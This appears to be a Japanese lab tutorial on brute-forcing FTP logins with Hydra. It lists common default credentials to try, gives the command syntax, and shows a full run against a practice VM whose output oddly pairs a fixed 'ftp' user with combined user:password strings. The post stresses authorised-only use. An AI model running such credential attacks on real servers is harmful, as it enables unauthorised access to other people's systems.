1. FTPとは?
FTP(File Transfer Protocol)は、ファイルの送受信に使われる古典的なプロトコルです。
多くのシステムでは ユーザー名+パスワード認証 を使うため、設定が甘いと 弱いパスワード や デフォルト認証情報 が突破口になります。
ペネトレーションテストでは、次の順番で確認するのが定石です:
- まず デフォルト認証情報 を試す
- ダメなら 辞書攻撃(ブルートフォース) を試す
2. Hydra とは?
Hydra は、以下のようなサービスに対してログイン攻撃を自動化できる有名ツールです:
- FTP
- SSH
- HTTP(S)
- SMTP, POP3, RDP など多数
今回は FTP サーバー に対して使います。
3. FTP に対する基本構文
Hydra のヘルプを見ると、FTP 攻撃の基本形はこうなります:
hydra -l ftp -P passlist.txt ftp://10.10.x.x
オプションの意味
-
-l ftp
→ 単一のユーザー名を指定(ここではftp)
※ 複数ユーザーなら-L userlist.txtを使う -
-P passlist.txt
→ パスワードの辞書ファイルを指定
※ 単一パスワードなら-p passwordも可 -
ftp://10.10.x.x
→ 対象のプロトコルとIPアドレス(またはFQDN)
4. まずは「デフォルト認証」を疑え
ブルートフォースの前に、必ずこれを試す価値があります:
admin:adminftp:ftproot:rootadmin:passwordtest:test
理由はシンプルで、設定変更されていないサーバーは驚くほど多いからです。
これが通ったら、ブルートフォースするまでもなく即ログイン成功です。
(セキュリティ的には、ドアの鍵が開けっぱなし状態…)
5. 実際の攻撃フロー(演習VM想定)
- まず FTP が開いているか確認(例:nmap)
- デフォルト認証を手動で試す
- ダメなら Hydra で辞書攻撃
例:
root@ip-10-67-64-106:~# hydra -l ftp -P /usr/share/wordlists/SecLists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt ftp://10.67.188.61
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-02-05 10:02:13
[DATA] max 16 tasks per 1 server, overall 16 tasks, 66 login tries (l:1/p:66), ~5 tries per task
[DATA] attacking ftp://10.67.188.61:21/
[21][ftp] host: 10.67.188.61 login: ftp password: root:rootpasswd
[21][ftp] host: 10.67.188.61 login: ftp password: anonymous:anonymous
[21][ftp] host: 10.67.188.61 login: ftp password: root:12hrs37
[21][ftp] host: 10.67.188.61 login: ftp password: ftp:b1uRR3
[21][ftp] host: 10.67.188.61 login: ftp password: admin:admin
[21][ftp] host: 10.67.188.61 login: ftp password: localadmin:localadmin
[21][ftp] host: 10.67.188.61 login: ftp password: admin:1234
[21][ftp] host: 10.67.188.61 login: ftp password: apc:apc
[21][ftp] host: 10.67.188.61 login: ftp password: admin:nas
[21][ftp] host: 10.67.188.61 login: ftp password: Root:wago
[21][ftp] host: 10.67.188.61 login: ftp password: Admin:wago
[21][ftp] host: 10.67.188.61 login: ftp password: User:user
[21][ftp] host: 10.67.188.61 login: ftp password: Guest:guest
[21][ftp] host: 10.67.188.61 login: ftp password: ftp:ftp
[21][ftp] host: 10.67.188.61 login: ftp password: a:avery
[21][ftp] host: 10.67.188.61 login: ftp password: admin:password
1 of 1 target successfully completed, 16 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-02-05 10:02:14
root@ip-10-67-64-106:~#
-
-vVをつけると試行状況が詳細表示されて、見ててちょっと楽しいです(ログが流れる滝行スタイル)
6. ブルートフォースは「最後の手段」
ここ、試験でも実務でも超大事ポイント:
- 本番環境で無闇にやると
→ アカウントロック、アラート発報、SOCから電話コース📞 - だから
→ まず設定ミス・デフォルト認証・情報漏えいを疑う
→ それでもダメなら、許可された範囲で辞書攻撃
「力技は最後」、これがプロの流儀です。
まとめ
-
Hydra は FTP の認証テストに超便利
-
基本構文:
hydra -l ユーザー -P パスワードリスト ftp://ターゲット -
いきなりブルートフォースせず、まずは デフォルト認証 を試す
-
実行は 必ず許可された演習・検証環境のみ